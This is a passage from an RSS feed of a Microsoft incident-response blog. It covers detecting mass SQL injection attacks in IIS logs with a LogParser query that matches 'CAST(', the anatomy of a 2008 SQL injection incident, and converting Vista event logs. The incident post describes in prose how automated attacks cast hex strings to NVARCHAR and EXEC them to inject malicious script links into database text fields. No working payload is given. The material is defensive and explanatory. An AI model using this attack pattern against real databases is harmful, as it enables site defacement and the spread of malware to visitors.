If you download it, you should be able to do a query like this on your IIS logs:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE cs-uri-query LIKE '%CAST(%'"&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;This is go through all the IIS logs in the directory and search them for lines where the query string contains "CAST(" and output those lines into suspicious.csv.&amp;nbsp; Since "CAST(" should be a pretty unusual string in cs-uri-query, if you have any hits here, it's worth investigating further(2).&lt;/p&gt;  &lt;p&gt;If you are affected, then this isn't going to be an easy incident to recover from.&amp;nbsp; My own suggestion would be to pull your website down until you can figure out what's going on -- you're still vulnerable AND you're serving up attacks to every user who comes to your site.&amp;nbsp; That's not going to impress anybody.&lt;/p&gt;  &lt;p&gt;The first order of business would be to figure out where you're vulnerable and how vulnerable you are.&amp;nbsp; That's really beyond the scope of what I'm going to hammer out today but I'd suggest starting with a copy of &lt;a href="http://www.microsoft.com/mspress/books/5957.aspx" mce_href="http://www.microsoft.com/mspress/books/5957.aspx"&gt;Writing Secure Code&lt;/a&gt; and going from there.&lt;/p&gt;  &lt;p&gt;&amp;nbsp;&lt;i&gt;Edit:&lt;/i&gt; I forgot to mention that this is also a good time to review the privileges that your web app has in SQL.&amp;nbsp; It definitely shouldn't need to be sysadmin!     &lt;br&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Footnotes&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;(1) It's a fair bet that any time you see a hex string where every other byte is 0x00, it's text from a Western language encoded in Unicode.&lt;/p&gt;  &lt;p&gt;(2) Obligatory plug for my team -- Microsoft provides no-charge support for any security incident.&amp;nbsp; If you believe you've been affected by this,&amp;nbsp; you can call us for assistance.&amp;nbsp; &lt;a href="http://support.microsoft.com/gp/securityitpro" mce_href="http://support.microsoft.com/gp/securityitpro"&gt;This page&lt;/a&gt; has all the appropriate details for the US and Canada and there are links from there to every other region.&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3004503" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>Anatomy of a SQL Injection Incident</title><link>http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx</link><pubDate>Fri, 14 Mar 2008 23:19:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:2999681</guid><dc:creator>neilcar</dc:creator><slash:comments>15</slash:comments><comments>http://blogs.technet.com/neilcar/comments/2999681.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=2999681</wfw:commentRss><description>&lt;p&gt;A number of people are reporting that 10K+ websites have been hacked via a SQL injection attack that injected a link to a malicious .js file into text fields in their database.&amp;nbsp; For example, here's &lt;a href="http://www.avertlabs.com/research/blog/index.php/2008/03/12/another-mass-attack-underway/" mce_href="http://www.avertlabs.com/research/blog/index.php/2008/03/12/another-mass-attack-underway/"&gt;Avert Labs report&lt;/a&gt;.&lt;br&gt; &lt;/p&gt;    &lt;p&gt;The reports that I've seen talk about how the .js file tries to compromise clients that connect to the defaced web servers; however, they don't discuss the really interesting part.&amp;nbsp; How did the servers get hacked in the first place?&amp;nbsp; &lt;/p&gt;  &lt;p&gt;Whenever I see a large number of hosts compromised in the same way, my initial assumption is that they all share a piece of vulnerable code.&amp;nbsp; If this was the case, I thought that it would be in everybody's interest to figure out what that shared code was and take appropriate action.&lt;/p&gt;  &lt;p&gt;Since the CSS Security team here at Microsoft worked with several of these incidents, I was able to look at multiple sets of data and the work that my colleagues had already done.&amp;nbsp; The first thing I noticed was that the attacks looked, with a few exceptions, identical.&amp;nbsp; They shared several things in common:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Two initial query strings that do some basic injection, apparently as a test.&lt;/li&gt;    &lt;li&gt;One or more additional queries, specifically to do IS_SRVROLEMEMBER() happen in some cases.&lt;/li&gt;    &lt;li&gt;Two final queries that DECLARE a variable that CASTs a large hex value into NVARCHAR and then EXEC()'s that string.&amp;nbsp; The string contains a script to append the link to the .js file onto every string-type column in every table in the database.&lt;/li&gt;    &lt;li&gt;All of these happen within a very short period of time.&amp;nbsp; The only lag seems to be the time it takes the final two queries to execute.&amp;nbsp; (In the case with the largest database, the last query actually failed with a timeout.&amp;nbsp; I guess that's not surprising since it's essentially doing a find-and-replace on the entire database table.)&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;The last item makes me think that this is an automated process of some sort, particularly since the user-agent string for the last two queries is different from the user-agent string for the preceding ones.&lt;/p&gt;  &lt;p&gt;This is where it gets interesting, though.&amp;nbsp; In comparing the pages that were compromised in different incidents, I realized that, while they're all vulnerable to SQL injection, they don't appear to share any common code.&amp;nbsp; &lt;/p&gt;  &lt;p&gt;My next question, then, was how did the attacker select these sites?&amp;nbsp; Given that the whole attack took a very short period of time and the attacker only touched a single ASP page on the server, it was pretty clear that they had some reason to believe that page was vulnerable prior to connecting to the site.&amp;nbsp; It's possible that they had previously scanned the site but I didn't find any indication that this was true.&lt;/p&gt;  &lt;p&gt;The other possibility that occurred to me was that the attacker was using a generalized approach to search Google for vulnerable sites.&amp;nbsp; As I was thinking this through, I found that I wasn't the first person to have thought about it:&lt;/p&gt;&lt;p&gt;&lt;a href="http://portal.spidynamics.com/blogs/msutton/archive/2006/09/26/How-Prevalent-Are-SQL-Injection-Vulnerabilities_3F00_.aspx" mce_href="http://portal.spidynamics.com/blogs/msutton/archive/2006/09/26/How-Prevalent-Are-SQL-Injection-Vulnerabilities_3F00_.aspx"&gt;How Prevalent Are SQL Injection Vulnerabilities&lt;/a&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx" mce_href="http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx"&gt;Guard Against SQL Injection Attacks&lt;/a&gt;&amp;nbsp;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://erratasec.blogspot.com/2007/08/sql-injection-is-surpisingly-easy.html" mce_href="http://erratasec.blogspot.com/2007/08/sql-injection-is-surpisingly-easy.html"&gt;SQL Injection Is Surprisingly Easy&lt;br&gt;&lt;/a&gt;&lt;/p&gt;    &lt;p&gt;So, there you have it -- automated SQL injection attacks in a nutshell.&amp;nbsp; Next week, I'll try to find some time to go into some of the details and brainstorm on how incident responders can get to the root of SQL injection attacks.&lt;/p&gt;  &lt;p&gt;(I should note that many brilliant people on my team provided information and analysis into how the incidents happened.)&lt;/p&gt;&lt;p&gt;(Part 2 is &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx"&gt;here&lt;/a&gt;.) &lt;br&gt;&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=2999681" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>LogParser, Event Logs, and Vista</title><link>http://blogs.technet.com/neilcar/archive/2007/08/15/plogparser-event-logs-and-vista.aspx</link><pubDate>Wed, 15 Aug 2007 23:13:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:1760034</guid><dc:creator>neilcar</dc:creator><slash:comments>3</slash:comments><comments>http://blogs.technet.com/neilcar/comments/1760034.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=1760034</wfw:commentRss><description>&lt;P&gt;&lt;A href="http://www.microsoft.com/technet/scriptcenter/tools/logparser/default.mspx" mce_href="http://www.microsoft.com/technet/scriptcenter/tools/logparser/default.mspx"&gt;LogParser&lt;/A&gt; is one of my absolute favorite tools, particularly for doing incident response.&amp;nbsp; I use it a lot to extract and order data into a timeline (hmmm...that's a good topic for a future post).&lt;/P&gt;
&lt;P&gt;When I moved to Vista, I found one annoyance, though.&amp;nbsp; The log file format in Vista has changed from *.evt to *.evtx -- the new log file format is XML based and all-round better than the old-school evt files.&amp;nbsp; Unfortunately, this causes a problem when using LogParser on Vista to parse event logs from down-level machines:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;C:\priv&amp;gt;logparser "SELECT * FROM Application.evt"&lt;BR&gt;Task aborted.&lt;BR&gt;Cannot open &amp;lt;from-entity&amp;gt;: Error opening event log "\\?\C:\priv\Application.evt": The event log&lt;BR&gt;&amp;nbsp; file is corrupted. 
&lt;P&gt;Statistics:&lt;BR&gt;-----------&lt;BR&gt;Elements processed: 0&lt;BR&gt;Elements output:&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;BR&gt;Execution time:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.21 seconds&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;The only workaround to this is to convert the logfile to the new evtx format prior to parsing it.&amp;nbsp; You can do this in the event log viewer GUI by doing a Save As... but I find it easier to do this at the command prompt: 
&lt;BLOCKQUOTE&gt;
&lt;P&gt;wevtutil epl application.evt application.evtx /lf:true&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;The 'epl' command exports the logfile and the /lf:true specifies that this is an event log file rather than the name of an event log (Application, System, etc).&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=1760034" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category></item></channel></rss>